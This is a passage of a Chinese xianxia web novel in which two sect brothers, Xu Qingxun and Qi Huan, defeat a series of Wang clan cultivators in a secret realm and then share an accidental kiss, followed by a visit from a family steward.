许清浔看了祁桓一眼,回想到刚刚里面的画面,又有一种反胃的冲动。他不喜欢那种糟蹋人的事,不希望任何人遭遇那种事。偏偏在这个世界里,人也是一种资源,比起杀了,还有更多“用法”,不用白不用。 “很明显。师兄若是不擅长这种场合,不如以后都交给我吧。” 祁桓淡淡地说。分明是关心的话,他却总能说的好像不杂一丝感情。 听着他的话,许清浔一时分不清这家伙是酷哥还是暖男,笑道:“师弟,关心人的时候别这么淡漠好吗?” 祁桓一顿,欲言又止,似乎有些局促。 “你总是如此,哪一天真有了心悦之人,是不是也是如此态度?”许清浔有点好奇。 “……”祁桓竟一时间不知如何回答,只好一本正经地说:“总之,人各有命,师兄不必太过介怀,谁知他们的今日不是我们的明日,又谁知,我们的今日不是他们的明日。” 许清浔睁大眼睛,险些没绕过去,想了想才道:“原来如此,但是……该怎么办呢,我只是习惯不了而已。” “不必勉强自己习惯。”祁桓快速接话。 许清浔实在有些受宠若惊,侧眼看着他,轻声道:“你说的对,感伤没有必要,我能做的,就是记住自己的来时路,在有朝一日拥有足够实力的时候,为九界制定秩序。” 把这个黑暗流的世界,变成一个起码正经一点的世界。 祁桓轻轻点头。 那是很狂妄的话,但他们本就年轻,正是说这种话的年纪,最重要的是自己要说服自己。 不过…… 青衣修士仍旧有些感伤,忽然低声问:“师弟,我靠一下你可以吗。” 黑衣修士一愣,本欲回答,但旁边之人从不客气,已经靠了过来。淡淡的兰香扑鼻,法府内一切安寂,他的心动了动,又开始不明白自己。 何谓恋、何谓爱、何谓侣,是两心相依,互相填补? 好像是没错。 “……” 黑衣修士目光低落,仿佛在端详腰间的玉佩。这个东西,他初看十分厌恶,一度想要丢弃,丢得越远越好,甚至试图销毁,但如今却越看越顺眼。 半个时辰后,青衣修士直呼复活,当即站起身宣布道:“好了,师弟我们出动吧!继续冲了他们王府!” 黑衣修士缓缓起身,单一个字,“是。” 不久后,南边大乱,又有王家的法府遭到袭击。 “他们竟然还敢来?” “不对劲,我们的十一法府用了这么多法宝,为何还是阻挡不住他们!” “他们究竟是谁,为何还没有查出!” 王家修士以及王家附属势力一阵鸡飞狗跳,其他家族势力虽一头雾水,但也暗自叫好,无论是谁出手,只要打王家,他们就支持。 容徐下到第三层听到消息,意外又不意外,感慨道:“果然如此。” 同一时刻,姬武尚茫然,“他们……究竟要做什么?” 姬舞明也不明白,他不知想到什么,低声道:“或许只是看不顺眼而已。” 姬武尚一脸诧异,转头问:“就只是看不顺眼?” 他们也看王家不顺眼,但他们并无勇气对抗王家,因为实力、因为家族、因为很多…… 姬舞明呆了呆,挠头道:“不知道,我也是猜的,王家这几年来行事嚣张,人神共愤,早就该碰碰铁板了。” 他也是嚣张之人,但他的嚣张是虚嚣张,像刺猬长刺一样,属于故作威严失败后的不上不下,简单明了的说,就是虚张声势。像他这种人,最讨厌的就是王家那些表里都嚣张的人。 “是啊,奈何李家按兵不动,许家坐视不管,他们过于肆无忌惮了。”姬武尚不知想到什么,沉声道:“这样的修炼风气,我们玄界如何赢得了其他八界。” 他似乎知道一些密辛,姬舞明也有耳闻,因此面色一变。 姬舞明皱眉道:“话是这么说,其他八界只会比我们这里更残酷吧?” “吃人修炼吗。”姬武尚面色更沉,“听父亲说,还有一界放任魔修修炼,甚至魔修成了一界之主,我们如何与他们对打?” 他们越聊越惊心动魄,这并不是他们这个层次应该考虑的问题,但问题已经在逼近了。他们姬家或许会没事,但其他人……又能有几人可活? “罢了,还是修炼去吧。” 姬武尚摇了摇头。 留下来的姬舞明一脸沉思。 许家大少爷不在许家,反而跟人到处打架,究竟意欲何为?那样肆无忌惮,横冲直撞…… 他回想着,片刻后,眼里流露出深深的崇拜。 “果然啊,我们这一代人之中,要说最耀眼,当属许家大少爷无疑!”- 与此同时,剑阵飞舞,法宝对轰,一座山岳瞬间被夷为平地,紧接着龙蛇交缠,神通碰撞,强光一次又一次地淹没战斗区域。 王家来了一个厉害修士,符剑双修,天赋超群,是个难缠的角色。 但祁桓出手,几个回合间便将其杀得片甲不留,道心崩裂。 那人披头散发,疯了一般质问:“你绝不是无名之士,你到底是谁!” 这样的话一天听了几十次,任谁都会厌烦。 许清浔推开一张法符,天地翻转,将其道体一击杀穿,彻底结束了这场战斗。 完后,许清浔似乎想起什么,转头问:“师弟,你为何不报上名字?” “……”祁桓好像没有想过这个问题,“不能他问,我便答。” “是吗?有道理。”许清浔笑了笑,几番战斗下来,他非但没有累,反而更加斗志昂扬,兴奋道:“你说什么时候才有主家弟子出来?” “估计很快了。” 祁桓望着远方,身后的剑匣微微颤抖,好像感应到了强敌的气息。 “懒得过去了,就在这里等吧。” 许清浔淡淡一笑,又取出了一把扇子- 几乎同一时刻,王家法府内部。 有人汗流浃背,瞪大了眼睛,“你、你说什么,出手的是许家大少爷许清浔?!” “小的不敢确定,但那个容貌,还有那一身非同寻常的符法修为,似乎只能想到那一位。” 底下的小修士颤颤巍巍地回答。 王归至面色煞白,震惊得一屁股坐在了木椅上,失声喃喃道:“这怎么可能,不是说他被人掳走了吗?就算他平安无事还来到了玄衍……他为什么非要跟我们作对啊!” 他不理解,几乎要抓狂了,别的不说,光许家他就得罪不起,打不打许清浔,不是他能决定的事情,更何况,听说家主尤其看重这位许家大少爷,甚至想安排自家大小姐与其联姻。 “就、就不可能认错了吗?”王归至折腾地问。 “这……或许有可能?”小修士也不敢确定,眼珠子转了转,突然灵光一闪,道:“还有另外一人,虽然不知其身份,但大概率不是任何一家的子弟。” 王归至一愣,摸着下巴思考道:“许家大少爷年纪轻轻离家出走,去了一个寂寂无名的小宗门,好像是叫三玄宗?那么那个人估计是三玄宗的弟子,他很强吗?” 小修士抖了一抖,畏缩道:“很强,不到金丹,堪比金丹。” 王归至愣了愣,思考片刻才道:“许家大少爷我们不敢得罪,但这个人……让人去对付他吧,告诉许家大少爷,我们虽然不敢得罪他,但我们也不是好惹的。” 小修士称是,却接着问了一句,“大少爷和大小姐那边……” 王归至面色顿冷,“这不是你该问的问题。” “是是!”小修士慌忙撤走。 过了一会,王家主家子弟接连登场。 此事一出,第三层的众家众宗皆惊动,都在暗处默默围观。 “主家出动了,看来王家认真了。” “那个白衣青年就是王家排行老九的那位吧,听说他剑法无双,除了王家双塔之外,年轻一代无人能硬接他的全力一剑。” “是有这个说法,他叫王宿。” 名人出场,众人都在讨论胜算。 然而下一瞬,远方突然闪过一道惊天剑光,狂风裹挟着剑意扑面而来,令他们所有围观者都不禁毛骨悚然。 “王宿已经出手了?” “不,是已经结束了!” 前面一位感知力强大的修士惊呼,“王宿落败了,那个不明身份的家伙又赢了!” 众人一阵哗然,虽说修士决胜负,大多数时候其实一个照面就结束了,但这也未免太快了,简直是碾压局啊。 与此同时,高空中,青衣修士坐在一条树枝上,道袍飞舞,拍手称快,“打得漂亮!不愧是我的好师弟。” 他已经一阵子没出手了,没办法,谁让那个好战份子冲在了前面,一刀横扫千军,把人家的法宝法符尽数斩没,来一个杀一个,正在战意亢奋时。 便是师兄,也不好虎口夺食吧? 许清浔轻笑一声,看到祁桓又斩飞了一个王家强敌,摇扇道:“好!再打赢前面那个,师兄亲你一下!” 对面的王家修士闻言都傻眼了,心想那个人真的是许家大少爷吗,为何言行举止如此轻浮,丝毫没有许家修士一贯的高雅? 然而意想不到的是,那个黑衣修士听到之后,动作明显一滞,卖了一个极大的破绽。 王家修士因为惊愕没能及时抓住机会,回过神时已经被黑衣青年一刀斩至十里开外,道体迎面开裂,流血倒地。 许清浔看到这一幕,居然笑道:“不愧是我,坐着不动也能攻心!” 祁桓听到满脸黑线,心想我才是那个被攻心的吧。 另一方,战场不远处的容徐一脸惊愕地看着许清浔的侧颜,脱口而出道:“许家许清浔?!” 这话一出,围观的其他几家修士也听到了。 姬武尚浑身一凛,目眦欲裂,“什、什么?!” 第38章 第三十八章 师兄给你亲两下! 许清浔, 这个名字一出,快速唤醒了在场一大批人的心理阴影,有人咬牙切齿,比如姬武尚, 有人目瞪口呆, 比如罗家两兄弟, 有人若有所思,比如容徐。 “他、他居然也会来这种地方?” “等一下,许清浔出手,是不是意味着许家出手了, 接下来将是许家对王家的战争?” 有人突然道。 万年世家的对抗说是战争丝毫没有夸大, 众所周知, 玄界以东是王家的地盘, 玄界以西是许家的地盘,两家若是交战,战场将会直接波及整个玄界。 围观群众都傻眼了,有些不知所措。他、他们这是要见证历史了吗? 但很快有人否定道:“不, 许清浔从小离家出走,长年在外,他的行动并不代表许家。” 姬武尚回过神,“确实,他一向离经背道,不走寻常路, 这应是他的个人举动。” 罗平睁大眼睛,转头大声道:“个人举动?他一个挑战王家所有的年轻一代?” 姬舞明摇头道:“不,他身边还有一个高手,准确来说是两个人。” 罗衡哽了哽, “两个人……区别不大吧?” 姬武尚严肃道:“但问题是,他们两个人好像真能打过。” 此言一出,在场鸦雀无声。虽然早知道许清浔符法天赋超绝,但对面王家那帮天才也不是吃素的,以二敌多,对手还有数不尽的法宝法符,真的能行得通吗? 容徐忽然道:“至今为止,我们还不知道那位黑衣修士姓甚名谁。” 众人又是一愣,抬起头,刚好看见了一道横斩青天的刀光。 那个人并非只修刀,身后的剑匣内装填着各式武器,包括长剑短剑、枪戟乃至是大锤,应有尽有,恐怕百式武器都在其中,若是你以为他只会使刀,那就大错特错了,他甚至会冷不丁地射出一记冷箭,命中额心,将你绝杀于十里之外。 分明是一个人,却像一件全能大杀器,杀气无须外放,便已经令人遍体生寒。 如此站在血泊之中,宛若修罗杀神降临于世,世间无他不能杀之人。 “这样的人物……为何之前从未听说?”容徐不禁感叹,眼里满是难以置信。 他们不晓得,其实他们讨论的时候,许清浔一直在听着,听得那是喜形于色、喜上眉梢,就差没忍住笑出声了。 他心里乐滋滋地道:师弟啊,听到大伙怎么说你了吗,虽然你性格还是老样子,但行为上已经有满满的王道作风了,定要再接再厉! 或许是他的目光太过炽烈了,黑衣修士锤飞面前的敌人之后,转头幽幽地扫了他一眼。 许清浔摇扇的手微微一僵,但面不改色地笑道:“怎么了吗师弟,需要师兄出手帮忙了吗?不要客气,师兄就是师弟最坚实的后盾!” 黑衣修士似乎十分无语,要是眼神能说话,他或许在说,宁愿死也不会喊你出手。 许清浔哈哈大笑,歪头道:“师弟又害羞了吗,再打赢一个主家弟子,师兄给你亲两下!” 黑衣修士当即转头,好像很厌烦似的,然而脸上飞速闪过了一抹绯红,掩饰不了动摇的心情。 对于许清浔的话,旁人不知所以,只是一片震惊。 罗衡傻了眼,满脸不可思议,“我早就听过许家大少爷的传说,但没想到他的性情……如此这般。” 姬武尚倒是毫不惊讶,当年他见到许清浔的第一眼,正震惊于其容颜,然后愣神的一瞬间就人仰马翻砸落擂台了。 许清浔这个人,最爱出你不意,最不能用常理度之。 容徐思考道:“他一直不出手,是为了磨练那位师弟吗?” 他们正满头疑惑,就在这时,王家那边又来了一位主家修士。 仔细一看,那竟是堂堂有名的法宝使,王秀! 听说她与钟鼎有缘,小小年纪获得了天品法宝拔山鼎、震天钟的认可,自那以后便钟鼎不离身,仿佛手脚一般。 虽然以如今的修为,她还未必能够使用出两件法宝十分之一的实力,但也依然不容小觑! 只见,白衣修士踏鼎而至,身后回荡着音波,显得空间扭曲,如临大海之上。 她立在空中,扫了地面的祁桓一眼,当即露出不屑的表情,双眸微眯,冷笑道:“真是什么人都敢挑战我们王家了。” 话音一落,地动山摇,钟波重压随之降落,将整片山地碾压至塌陷。 轰!杀人音波冲至,哪怕是十里开外的修士听到都会头痛欲裂,七窍流血。 大杨树上的许清浔收敛轻浮之色,眼露凝重。 看到地面的惨状,王秀嫣然一笑,天真而残忍,她掀起眼皮,目光直射许清浔,勾唇道:“我对他不感兴趣,只对你感兴趣,家里人让我不要对你出手,但凭什么?你在我们这一代声名远扬,号称天赋第一,甚至让家主大人青睐有加,而我只要打败你,不就能拿下这些荣誉,甚至还能获得家主大人的赞赏?” 这是个不错的思路,只不过,有这么容易吗。许清浔淡淡一笑,并不接她的话,垂眸低语:“师弟,你要再不出来,我可就要出手了。” “你竟敢无视我!”王秀勃然大怒,“那小子已经死了,没有人能接下我全力以赴的钟鼎齐鸣,何况他丝毫没有防备!” 许清浔还是不看她,正欲收扇。 王秀冷哼一声。 就在这时,塌陷的碎石突然爆开,烟尘滚滚,隐约显露出了一个颀长的身影。 “这怎么可能?”王秀失声大叫。 但战场岂容得下一时的失神。 黑光如同闪电,瞬间袭杀上天。震天钟轰鸣,音波横阻强敌,然而只见一道强光闪烁而过,黑衣青年挥舞着一柄血红的长枪,直穿音波壁障,轰的一声,仿佛捅破了空间。 王秀睁大眼睛,立时反击,全力催动了拔山鼎,恐怖的威慑力隔空轰倒了后方的山岳。 黑衣青年侧身,随即踩着鬼魅般的步法杀向王秀,双手握刀,像屠夫,刀光翻飞如蝶,竟有一种诡异的美感。 王秀大怒,当即催动震天钟,音波滚滚如洪水,要彻底将对方轰碎。 可是攻击打了空,与此同时,她身前出现了一把雪白发亮的刀。 “你、你……”王秀瞪眼,大口吐血,身侧的法宝激烈轰鸣。 然而再一把刀斩过,她血溅高空,没有了呼吸。 这一幕令无数围观者心惊胆战,更没想到结束的会如此之快。 黑衣青年停在空中,正欲甩刀,忽然皱眉。 一道白线闪烁而过,似乎冲向了王家法府,而他已经来不及斩了。 许清浔见状,解释道:“那是天品法宝回魂灯的效果,主家弟子都有这一层保护,虽肉身被毁灭,但只要神魂留存,就还有生还的希望。” 祁桓微微一愣,皱眉道:“世家大族,真有手段。” 而这些手段,仅仅是九牛一毛。那些横跨一万年、甚至几万年长存于世的世家大族拥有的法宝种类连他们自己人都未必能记得。 “可惜法宝也随着神念走了,否则你还能收获两件天品法宝呢。” 许清浔淡淡地笑道。 祁桓思考着,“神念很麻烦,但未必不能斩。” 的确,只要斩断了神念,那些法宝就能留下了。 许清浔呆住,随即大笑道:“不愧是师弟,什么都想斩,够狂够狂。” 说着,他看向远方,沉声道:“看来他们不想一个个上了,一下子来了好几个。” 祁桓当即转眸,目光扫过高空中的三个华服男子。 “道友过分了。”其中一人面容衰老,但浑身血气,像一头随时可能爆发的雄狮。他双眸眯得只剩一缝,锋利如刃,声音沙哑道:“秀小姐乃王家未来的分家之主,你这番打击,万一令她道心受损,你这一辈子,赔得起吗。” 祁桓无动于衷。 许清浔则想,王家的人是怎么做到每一句话每一个字都这么看不起人,别说被嘲讽的祁桓本人,他在旁听见也火冒三丈。 是时候该出手了。他眸光一暗,正欲跳下树。 祁桓忽然道:“无须师兄出手。” 许清浔呆住,远远地喊道:“师弟,你确定吗,他们境界都强过你,而且还是三人联手,神通不明,法宝不明。” 祁桓轻应一声,“我想看看我的极限。” 许清浔一愣,仿佛想到了什么,摇了摇扇道:“既然如此,师弟便去吧,万事有师兄在。” 为首的华服修士忽然道:“我们还未请许大少爷指教,您这番究竟何意。” 他语气十分恭敬,无可挑剔的礼貌,但还是夹藏了一丝心气。 想来谁都不喜欢被这么踢场,哪怕对方是自家家主青睐的年轻人。 许清浔一笑,“什么何意,我的意思还不明显吗。” “小人愚昧,想不透,斗胆请教。”华服修士双眸定定道。 许清浔笑容一敛,“你王家所作所为碍了我们师兄弟的眼,这么说可懂?” 话音未落,威压瞬间笼罩了三位华服修士所在的空间,令三人额冒冷汗,瞳孔颤栗,似乎不敢相信许清浔在如此年纪有了此等修为。 真不愧是家主看重的年轻人,每次出现都超乎想象。 三人心思电转,但还没来得及开口,黑衣修士悍然出手,瞬间消失在了原地。 三人经验老到,非王秀所能及,也瞬间消失在了原地。 许清浔喃喃道:“吾家师弟才筑基就有了男主风范,开始跨阶对敌了。” 想当年,他还喷过修真跨阶对战不合理,把作者当猪头骂,实际亲眼目睹……哈,似乎是我当年说话太大声了,具体问题当具体分析,书是书,现实是现实。 一个呼吸之间,四人已经交手了几十个回合,那三人虽是王家之人,但用的不是王家的神通,这也是他方才为何提醒祁桓他们神通不明。 三人为三兄弟,分别为火神通、风神通、木神通,相辅相成,神通之力甚至翻四倍有余。 每个修士的精力都是有限的,于是乎有限的精力应当分配在哪里,就成了每个修士不得不思考的问题,有人分配给法宝,有人分配给法符,但更多修士愿意分配在自己的神通上,因为神通通神魂,直连本源灵力,同样的精力,明显分配在神通上面明显更有利。 这三个就是经典的神通修士,也是祁桓从未碰见过的敌人类型。 自家师弟是应该趁这个机会炼上一炼。就是有点担心,祁桓不用《灭世魔经》也能打得过吗。 许清浔微微蹙眉,或许他可以借此机会看清一些东西,打消自己的疑虑。 轰!高空多次爆炸,火舌漫天,如同盛放的大红莲,高温扭曲了空间,炸开的火球直飞十余里,在地面造成了一个个烈焰深坑,险些炸坏了围观修士。 修士斗法何其激烈,越是有经验,越是手段无穷,超人预料,应接不暇。 许清浔看着祁桓的一招一招应对,既紧张又畅快。自家师弟百般武艺,看似全能,无不能应对,但面对经验丰富的敌人时,“全能”有时候反而会变成“不能”。为何?盖因选择太多,反而容易迟疑,而一旦迟疑,就会是生死攸关的破绽。 可是咱家师弟呢,还真做到了应对如流,越战越勇。 与之相对,对方越战越惊惧,因为对面的年轻人好像一头会吞吃人战斗经验的猛兽,学习速度无比之惊人,方才失手,下一瞬便弥补。 刀风又狂又稳,尤其是稳,让人感觉他不是年轻人,而是一个经历过无数战场的战士,简直太稳了。 华服男子中的大哥面色变了,越来越感觉不能再拖延,这样下去对方只会变得更强,直至超越他们。 “别跟他纠缠了,下杀手!” 另外两个人瞬间领会,当即爆发神通之力,一人浑身青光,一人浑身绿光,周身灵力汹涌澎湃,转头出现在了他们大哥身后。 华服男子一剑横劈,剑光裹挟着强大的火神通,几乎淹没了黑衣青年。 是机会! 无须多言,两人当即为华服男子聚集神通灵力,恐怖的灵气波动远远都能看见,仿佛天空翻起了浪花。 那只是一瞬间的事,三人的站位形成了阵法,各自展开一串加强神通的法符,与此同时还催动了法宝。 没有一丝犹豫的空间,华服男子爆发神通,手中的巨剑缠绕着熊熊烈火,横扫虚空,焚尽一切。 “三味真火!” 围观之人都不禁倒吸一口冷气。 容徐瞪眼,“这等攻势,当如何防御?!” 话音未落,一道刀光乍现,刀意震天,气势磅礴,直斩那片熊熊的火海。 神通对拼,强者胜。 三个人的神通灵力结合,怎会输给一个境界低上一个层次的年轻人。 这是不可能发生的事,至少下面的围观者们都不愿相信。 但是,许清浔相信。 不是因为知道祁桓是主角,而是因为他认识祁桓,是这世上最懂这个男人的人。 下一瞬,火光铺天盖地,烧红了视野。森林大片烧毁,土地都在腾火。 围观之人纷纷催动防御,才免于被波及。 只见,火光散去,还有漫天的神通灵力残余,而其主人同他两个弟弟已经口吐鲜血,失去了呼吸。 与之相对的,黑衣修士似乎毫发无伤,只是手中的刀被融化了大半。 竟、竟然赢了。姬武尚难以置信。 姬舞明险些激动得跳了起来。 传说能在大世成名的修士,无一不具备跨阶对战的能力,而今,他们好像见证了历史! 许清浔笑了笑,“看来极限又拓展了。” 远远看到这一幕的王家修士怀疑了自己的眼睛。 “这怎么可能,一个寂寂无名的小子,怎么可能打败那三个外姓天才!” “他一定用了什么诡计,一定是许清浔在背后用法符助他!” 消息快速传到王家大法府,王归至勃然大怒。 “连个毫无背景的小修士都拿不下,一群废物!” 底下修士面色惨白,有人心想,就连主家修士都拿不下,对方显然不是什么小修士了。 “许清浔身份特殊,我们可以给许家一个面子,但那个人究竟什么来历,就他也想骑在我们脸上吗?!” 王归至气得跳脚,丝毫淡定不了。他怎么知道就连王秀也折损了?这要出秘境,王秀的爹妈非杀了他不可。 底下有人担忧道:“其他家的修士都在看戏,我们若再不拿下他们,事关王家的颜面……” “住嘴!”王归至暴跳如雷。 就在这时,一位气质清冷的修士走了出来。 “我来吧。” 王归至转眸,当即露出震惊的表情。 另一方,大杨树独立于焚毁的大地之上。 树上的青衣修士摇了摇扇,招呼道:“师弟是不是累了?累就回来嘛。” 黑衣修士丢了手中的废刀,身形微晃,面色有些苍白。 显然,他也抵不住车轮战。 许清浔晓得,自家师弟的战斗方式灵力消耗极大,持久差一些,这番打下来,估计已经体力不支了。 想着,他忽然眼神一变,抬头看向了一道徐徐走来的身影。 男子举着一柄白伞,白衣飘邈,落步生花,抬起头,露出了一张雌雄莫辨的脸。 “王家主家老五!”姬武尚远远喊出了他的身份。 “王治?那个千年冰神通第一?”姬舞明失声。 要认不出王治也蛮难的,因为这个人无论走到哪里,脚下都一堆冰花,生怕别人不知道他的神通似的。 许清浔大感无语。 祁桓则是转眸,冷冷地看着来人。 王治气质清冷,声音如冰,开口便问:“我法府里的宠物,是你们放走的吗。” 许清浔当即变色,“宠物?你是说那些人?” 王治面不改色道:“他们算人吗。” 许清浔面色顿黑。 而未等他再开口,祁桓突然抽刀直砍。 刀光瞬间淹没了王治方才所在的地方,斩碎了一地冰花。王治举伞腾空,端得一身高雅,仿佛天仙下凡,不惹凡尘。 “真是野蛮,一看便是蛮土出生的蛮人。” 许清浔一听拳头都硬了,一而再再而三地在老子面前贬低老子看好的男人,一个个是找死吗! 他火气直冒,可是偏偏祁桓抢先动手,已经与那装货战在了一起。 寒气四泄,冻结焦土,白伞攻防一体,暗器防不胜防。 “我的神通在同代里面,若论第二,没有几个人敢论第一。” 王治迈着飘逸的步法接连躲过祁桓的斩击,游刃有余,看似毫不费力的样子。 许清浔目光微冷,忽然笑了,“算了,师弟的事交由师弟处理,我个做师兄的,怎能越俎代庖?” 王治闻言眉头一皱,他的目标自始至终都是许清浔,那黑衣青年虽强,但此时已经是强弩之末,不值一提。 “你……”他正要开口,突然面色大变,狼狈地躲过迎面而来的凌厉斩击。 这个人分明已经体力不支了,为何还能斩出这种刀意! 未等他想明白,黑衣修士的攻势如狂风暴雨碾压而至,刀光翻飞,杀机密布! 围观者无不愣神。 最终,一百多个回合后,王治白衣染血,狼狈逃窜,再没有了刚来时的傲气。 此时天色已经暗了,战场上寒气纵横。 黑衣修士立在冰原上,背脊依旧挺直,如同一柄傲立的剑。 青衣修士悄然走到他身边,轻声道:“师弟?” 话音未落,黑衣修士直挺挺地倒下,落在了青衣修士怀中。 许清浔眨了眨眼,“看来只能改日再战了。” 片刻之后,原王家法府之内。 祁桓上身赤.裸,大小伤疤交错,有的深可见骨,却坚持自己处理伤势。 许清浔习惯了自家师弟的逞强,但仍想上手帮忙。 倒是,夸已经夸了一整天,接下来还可以说什么呢?他陷入沉思,忽然开口,“师弟,你今日看到那些王家人,是否感到愤怒,是否……心里十分不平衡?” 这个问题非常关键,因为原著的祁桓就是这样的心理,才最终阴暗面彻底失控,暴走屠杀了整个秘境。 听到许清浔这么问,祁桓动作一顿,不动声色地看了许清浔一眼,又收回目光,摇头道:“没有。” 许清浔呆了呆,好奇问:“为何没有?” 虽说遭遇与原著相比相差甚远,但也不至于什么都没有吧? 祁桓垂眸,声音低而沙哑,“或许是因为有人替我愤怒了吧。” 许清浔瞪大眼睛,心脏好像中了一箭,当即心花怒放。 第39章 第三十九章 师兄是他的,只能是他的,…… “躲啥呀, 师兄给你亲一个!” 软榻之上,青衣青年压着另一位上身赤裸的青年,似乎想要亲吻对方,正欲伸手搂抱, 但对方不断后退, 眼里闪过一丝藏不住的惊慌, 还连忙别过脸去,躲避青衣青年突然的袭击。 “师兄不要乱来!” 他抬手欲推开青衣青年,但反而被人抱了起来。 那人笑嘻嘻地说:“师兄一言九鼎,说亲必亲!” 黑衣青年傻了眼, 欲后退, 对方却已经凑到了近前, 脸颊相贴, 几乎能够感觉到对方温热的呼吸,还有那股淡淡的兰香。 “你……” 许清浔看祁桓一副打死不肯就范的样子,愈发上头,愈加贴近对方, 双唇几乎要碰到了那个禁欲男人的脸颊。 祁桓不知什么心情,或是愤怒,或是又羞又愤,脸颊泛起了不自然的薄红,他好像终于忍不住了,突然转过脸。 这一刻, 意外发生了。 许清浔本来只是想亲一下祁桓的脸,此时亲到的却是对方的唇,男人的唇并无什么特殊,也只是柔软一层而已, 却令他心跳猛然加速,登时瞪大眼睛,满脑子只剩下一句响当当的话——糟糕了,闯祸了,这下师弟铁定要发火了! 他急忙转头,目光压着地面,眼里尽是心虚与动摇,哈哈大笑道:“方才真是太不小心了,师兄只是想亲一下你的脸,没有想要夺走你的初吻,你别生气,再说了,那也是师兄的初吻啊。” 他一边笑一边汗流浃背,想象着祁桓满脸黑线,只想一刀砍死自己的凶煞脸,若是可以后悔,他绝不会乱来了! 却不知道,那个男人只是愣在了原地,目光呆滞,似乎还有些许回味。 明明不过是身体部位相碰一下而已,为何会有一种电流直穿四肢百骸轰炸心脏的感觉? 这、这就是为何世间的情人们喜欢这般亲密吗。 祁桓瞳孔一颤,仿佛瞬间念头通达了,他呆楞的目光转动,映入那道青色的身影,心中竟控制不住地跳出了更多念头。 他还想要更多。想要揽过对方的腰,继续…… 而许清浔半天没听见他说话,心中更是忐忑不安,只好认错道:“那也没办法,这件事就当没发生,天知地知你知我知好吗?不会影响你找媳妇的……” 说时,他没忍住偷瞄了祁桓一眼。见对方似乎很平静,他当即愣住,露出难以置信的神色。 祁桓一看,连忙挂上冷酷的脸,一本正经道:“师兄一而再再而三地如此乱来,就不担心被人看见,误会我们之间的关系吗。” 许清浔呆住,随即笑了笑,坦坦荡荡道:“咱直男之间的小情趣,就算被人看见了又有何妨,反正我们都不喜欢男人,误会只是一时的,随便他们。” 祁桓的脸色骤然黑了,虽第一次听到直男这种说法,但不妨碍他瞬间听懂了,“小情趣?你跟谁都玩这种小情趣吗?” “那不是,”许清浔挠了挠脸,认真道:“我只跟你玩。” 平淡的一句话,瞬间击中了祁桓的心。 祁桓睁大眼睛,险些压不住喜形于色,嘴上却严肃地问:“为何,我对你而言算什么,为何你只对我如此。” 许清浔好像第一次思考这个问题,想了想才道:“大概因为我最了解你?别看你师兄这样,你师兄其实也是有洁癖的,我的意思是,精神上的洁癖?”他试图说明白,却想不到更好的措辞,他也不想连爆现代语,但一边思考一边说话时,实在有些控制不住。 再说了,他方才之所以上头,也是因为对方先说了很符合他心意的话。所以严格地说,是对方先撩他的。 想到这里,许清浔突然有些理直气壮。 “精神……”祁桓若有所思地低下头,目光中浮现出了笑意,似乎颇为满意。 见状,许清浔趁热打铁道:“所以说,这不过是小事。你也没有生气,对不对?” 祁桓看了许清浔一眼,轻轻点头。 他师兄的调皮任性也不是一天两天的事了,除了纵容,他又能如何。 “不过话又说回来,你伤势如何?要不要师兄给些丹药?” 其实许清浔能看出祁桓的身体情况,多此一问,只是随口。 祁桓摇头,重新端坐起来,正色道:“修炼一会就好。” “如此,我就不打扰你了。”许清浔一笑- 走出法府,来到夜空之下,许清浔抚唇思考,“不太对劲,我以前就算再乱来,也不会突然上头按着祁桓亲吧?” 他感觉自己怪怪的,却又说不清哪里奇怪,心头有种说不出的感觉,意义不明,或酸或甜,萦绕不休。 半晌过去,他还是没想通,忽然目光转动,定在了远远的空地。 准确地说,那里并不是空地。 既然已经被发现,那人也只好露出了身形,穿的是许家的道袍,一根发簪利索地收拾了所有头发,面目白净,看不出年龄。 “大少爷。”来人恭恭敬敬地行礼。 许清浔眨了眨眼,他没有隐瞒自己的身份,知道一定会有许家的人来找他。在秘境里还好,因为实力受限,对方奈何不了他。 “你好像是……六管家?”他认出了对方的脸。 一张平平无奇的国字脸,放在哪里都没有存在感,但是格外的亲和,反而令人印象深刻。 许六福点头,“大少爷还记得我。” “那是自然。”许清浔回忆,“小时候爬到树上去,我还喊过你不要告诉我爹妈。” “大人与夫人是担心您。”许六福微微一笑,言行彬彬有礼。 “言归正传,你来找我何事?若是劝我回家来的,很可惜我不会回去。”许清浔斩钉截铁道,不留任何回旋余地。 许六福摇头,“并非,我清楚大少爷的想法,来此,只是看一下大少爷,过后便回去交差。” 许清浔一顿,心中忽然有点感慨。许六福在原著中提都没有提到过,不过算是许家众多管家中的一个,但在真实的世界里,却是这样活生生的人。不,是所有人都是活生生的人,只是他以前狭隘了,先以书中的观点看人,故而忽视了许多东西。 “这样吗。”许清浔淡淡一笑,“多谢了。对了,帮我转告那些哥哥姐姐,还有弟弟妹妹,我对许家家主之位没有兴趣,他们要争便争,不必顾虑我。” 许六福似乎毫不意外他会这么说,轻轻点头,然后提醒道:“可若是这么说,他们会对大少爷你不满的。” 许清浔愣住。 许六福道:“他们趋之若鹜的东西,对您来说不过浮云,他们怎会不记恨您。” 许清浔挠了挠脸,他明明两世为人,却还是不擅长人情世故,实在惭愧。 许六福好似知道许清浔的想法,道:“我会处理好的,大少爷放心。” 许清浔感激道:“那就麻烦你了。” “不过斗胆一问,大少爷当真没有成为许家家主的打算吗?”许六福微微蹙眉,终于流露出了几分情绪,显然是真心关心许清浔。 许清浔轻笑一声,理所当然道:“当真,许家家主的位置对我来说太小了,人生在世,何不梦一个大的?” 许六福瞳孔微缩,随即释然一笑,“太小了吗,的确,对您来说,家族更多只是束缚。” 许清浔眨了眨眼,“但还未实现之前,这一切不过是大话而已。” 许六福摇头,转而道:“对了,大人与夫人托我问您,近日一切可好。” “当然一切都好。”许清浔仿佛想到什么,传音道:“顺便告诉他们,我养的果树正在慢慢成熟。” 许六福知趣没有多问,点头道:“是。” 许六福离开之后,许清浔心情有些复杂,无声道:“还以为穿越之后一股脑修行就万事大吉了,怎知还得各种人情世故。但话虽如此,也不尽然是坏事。” 虽然他几乎没什么亲密朋友,但他或许内心深处,其实非常渴望有那么一个人,他忽然想到了祁桓的脸,除那家伙之外,估计也想不到谁了。 祁桓是个好家伙,就是又酷又暖,阴晴不定,有些累人。 许清浔这般想了片刻,忽然抬起头,低声道:“再怎么样,也得解决了当下的事情再说,对了,第三层有一片地方,不去白不去。” 几乎与此同时,王家法府一片死寂。 王归至坐在主位上,咬牙切齿,面如黑炭。 主家连续栽了那么多人,对手却几乎毫发无伤,还全身而退,他们王家这么多年以来,受到这种耻辱在历史上也是少之又少。 “查到他是谁了吗。” “查到了,是三玄宗的弟子,许家大少爷师门一脉的七师弟,名叫祁桓。五六年前进入三玄宗。” “祁桓?” 